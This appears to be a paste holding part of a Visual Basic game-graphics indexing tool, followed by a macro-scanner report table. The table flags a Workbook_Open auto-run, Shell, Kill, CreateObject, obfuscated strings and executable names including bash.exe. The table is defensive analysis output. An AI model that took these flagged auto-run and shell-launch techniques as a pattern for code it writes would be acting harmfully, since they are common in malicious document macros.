  749.  If Columns <= 0 Then Exit Sub
  750.  GridWidth = Val(frmMain.GridWidthTxt.Text)
  751.  If GridWidth <= 0 Then Exit Sub
  752.  GridHeight = Val(frmMain.GridHeightTxt.Text)
  753.  If GridHeight <= 0 Then Exit Sub
  754.  TexWidth = Val(frmMain.TexWidthTxt.Text)
  755.  TexHeight = Val(frmMain.TexHeightTxt.Text)
  756.  GrhIndex = Val(frmMain.StartGrhTxt.Text)
  757.  frmMain.GrhLst.Clear
  758.  frmMain.GrhLst.Enabled = False
  759.  frmMain.GrhLst.Visible = False
  760.  For y = Val(frmMain.StartYTxt.Text) To TexHeight Step GridHeight
  761.  For x = Val(frmMain.StartXTxt.Text) To TexWidth Step GridWidth
  762.  If x >= 0 Then
  763.  If y >= 0 Then
  764.  If x < TexWidth Then
  765.  If y < TexHeight Then
  766.  GrhLine = GrhLine + 1
  767.  Do While Not IsFreeGrh(GrhIndex)
  768.  GrhIndex = GrhIndex + 1
  769.  Loop
  770.  frmMain.GrhLst.AddItem "Grh" & GrhIndex & "=1-" & FileNumber & "-" & _
  771.  x & "-" & y & "-" & GridWidth & "-" & GridHeight
  772.  GrhIndex = GrhIndex + 1
  773.  End If
  774.  End If
  775.  End If
  776.  End If
  777.  Next x
  778.  Next y
  779.  frmMain.GrhLst.Enabled = True
  780.  frmMain.GrhLst.Visible = True
  781. End Sub
  782. Public Function IsFreeGrh(ByVal GrhIndex As Long) As Boolean
  783. Dim c As Long
  784.  IsFreeGrh = (LenB(Var_Get(Data2Path & "GrhRaw.txt", "A", "Grh" & GrhIndex)) = 0)
  785. End Function
  786. Public Function Var_Get(ByVal File As String, ByVal Main As String, ByVal Var As String, Optional ByVal DontLog As Byte = 0) As String
  787.  Var_Get = Space$(1000)
  788.  GetPrivateProfileString Main, Var, vbNullString, Var_Get, 1000, File
  789.  Var_Get = RTrim$(Var_Get)
  790.  If LenB(Var_Get) <> 0 Then Var_Get = Left$(Var_Get, Len(Var_Get) - 1)
  791. End Function
  792. Public Sub Var_Write(ByVal File As String, ByVal Main As String, ByVal Var As String, ByVal Value As String)
  793.  WritePrivateProfileString Main, Var, Value, File
  794. End Sub
  795. Public Function BuildGrhString()
  796. Dim i As Long
  797.  For i = 0 To frmMain.GrhLst.ListCount
  798.  If frmMain.GrhLst.List(i) <> "-removed-" Then
  799.  BuildGrhString = BuildGrhString & frmMain.GrhLst.List(i) & vbNewLine
  800.  End If
  801.  Next i
  802.  BuildGrhString = Left$(BuildGrhString, Len(BuildGrhString) - Len(vbNewLine))
  803. End Function
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811. +------------+----------------------+-----------------------------------------+
  812. | Type       | Keyword              | Description                             |
  813. +------------+----------------------+-----------------------------------------+
  814. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  815. | Suspicious | Kill                 | May delete a file                       |
  816. | Suspicious | Open                 | May open a file                         |
  817. | Suspicious | Shell                | May run an executable file or a system  |
  818. |            |                      | command                                 |
  819. | Suspicious | CreateObject         | May create an OLE object                |
  820. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  821. |            |                      | strings                                 |
  822. | Suspicious | SaveToFile           | May create a text file                  |
  823. | Suspicious | Write                | May write to a file (if combined with   |
  824. |            |                      | Open)                                   |
  825. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  826. |            |                      | be used to obfuscate strings (option    |
  827. |            |                      | --decode to see all)                    |
  828. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  829. |            |                      | may be used to obfuscate strings        |
  830. |            |                      | (option --decode to see all)            |
  831. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  832. |            | Strings              | may be used to obfuscate strings        |
  833. |            |                      | (option --decode to see all)            |
  834. | IOC        | gui.exe              | Executable file name                    |
  835. | IOC        | Gitk.exe             | Executable file name                    |
  836. | IOC        | bash.exe             | Executable file name                    |
  837. | VBA string |                      | "" &  ""                                |
  838. | VBA string | G                    | "G" + ""                                |
  839. | VBA string | T                    | "" + "T"                                |
  840. | VBA string | MP                   | "M" + "P"                               |
  841. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment